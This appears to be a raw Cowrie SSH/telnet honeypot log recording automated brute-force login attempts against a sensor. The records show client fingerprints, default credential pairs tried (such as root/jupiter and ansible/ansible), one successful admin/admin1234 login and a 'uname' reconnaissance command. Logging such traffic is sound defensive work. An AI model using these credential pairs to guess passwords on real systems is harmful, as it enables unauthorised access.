c-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:16.273389Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:16.988821Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":53640,"dst_ip":"159.203.135.109","dst_port":22,"session":"90b2698ef2e9","protocol":"ssh","message":"New connection: 43.153.46.75:53640 (159.203.135.109:22) [session: 90b2698ef2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.116817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.124823Z","src_ip":"43.153.46.75","session":"90b2698ef2e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.192926Z","src_ip":"43.153.46.75","session":"90b2698ef2e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.523697Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.527277Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chiudi","message":"login attempt [root/chiudi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.535315Z","src_ip":"43.153.46.75","session":"90b2698ef2e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.771753Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:17.781392Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00111103057861,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:18.154916Z","src_ip":"186.189.112.16","session":"7e20e451fb95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:18.608693Z","src_ip":"43.153.46.75","session":"90b2698ef2e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":53100,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d11c79c571","protocol":"ssh","message":"New connection: 67.102.183.113:53100 (10.17.0.5:22) [session: 81d11c79c571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:19.206540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:19.210566Z","src_ip":"67.102.183.113","session":"81d11c79c571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:19.281334Z","src_ip":"67.102.183.113","session":"81d11c79c571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102710723877,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:19.422079Z","src_ip":"186.189.112.16","session":"9a10bcd5b80e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"jupiter","message":"login attempt [root/jupiter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:19.597630Z","src_ip":"67.102.183.113","session":"81d11c79c571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:20.671335Z","src_ip":"67.102.183.113","session":"81d11c79c571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":34179,"dst_ip":"159.203.135.109","dst_port":22,"session":"efb3f8074260","protocol":"ssh","message":"New connection: 162.243.147.237:34179 (159.203.135.109:22) [session: efb3f8074260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:22.480812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:22.485594Z","src_ip":"162.243.147.237","session":"efb3f8074260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:22.556670Z","src_ip":"162.243.147.237","session":"efb3f8074260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominus","message":"login attempt [root/dominus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:22.871598Z","src_ip":"162.243.147.237","session":"efb3f8074260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:23.946845Z","src_ip":"162.243.147.237","session":"efb3f8074260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49930,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92242e1f268","protocol":"ssh","message":"New connection: 43.163.119.215:49930 (10.17.0.5:22) [session: e92242e1f268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:24.654133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:24.660247Z","src_ip":"43.163.119.215","session":"e92242e1f268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:24.907313Z","src_ip":"43.163.119.215","session":"e92242e1f268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:25.621886Z","src_ip":"43.163.119.215","session":"e92242e1f268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:26.863120Z","src_ip":"43.163.119.215","session":"e92242e1f268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017602443695,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:27.438387Z","src_ip":"186.189.112.16","session":"49fcd58ff237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53664,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee6f1692da0","protocol":"ssh","message":"New connection: 43.163.119.215:53664 (10.17.0.5:22) [session: bee6f1692da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:28.991352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:28.995515Z","src_ip":"43.163.119.215","session":"bee6f1692da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:29.225973Z","src_ip":"43.163.119.215","session":"bee6f1692da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:29.919104Z","src_ip":"43.163.119.215","session":"bee6f1692da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:31.153297Z","src_ip":"43.163.119.215","session":"bee6f1692da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":53680,"dst_ip":"10.17.0.5","dst_port":22,"session":"f252331080aa","protocol":"ssh","message":"New connection: 43.163.119.215:53680 (10.17.0.5:22) [session: f252331080aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:32.453478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:32.457993Z","src_ip":"43.163.119.215","session":"f252331080aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:32.699566Z","src_ip":"43.163.119.215","session":"f252331080aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:33.412863Z","src_ip":"43.163.119.215","session":"f252331080aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":57955,"dst_ip":"10.17.0.5","dst_port":23,"session":"031cc963cd35","protocol":"telnet","message":"New connection: 186.189.112.16:57955 (10.17.0.5:23) [session: 031cc963cd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:34.409481Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:34.652883Z","src_ip":"43.163.119.215","session":"f252331080aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36768,"dst_ip":"159.203.135.109","dst_port":22,"session":"19217c812510","protocol":"ssh","message":"New connection: 103.75.199.4:36768 (159.203.135.109:22) [session: 19217c812510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:36.107688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:36.112134Z","src_ip":"103.75.199.4","session":"19217c812510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:36.203114Z","src_ip":"103.75.199.4","session":"19217c812510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:36.477435Z","src_ip":"103.75.199.4","session":"19217c812510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:37.572690Z","src_ip":"103.75.199.4","session":"19217c812510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":35192,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58698d813e4","protocol":"telnet","message":"New connection: 142.93.69.27:35192 (10.17.0.5:23) [session: d58698d813e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:41.372536Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":37636,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f773b9c026e","protocol":"ssh","message":"New connection: 163.7.9.84:37636 (10.17.0.5:22) [session: 5f773b9c026e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:47.304600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:47.309542Z","src_ip":"163.7.9.84","session":"5f773b9c026e","protocol":"ssh"}
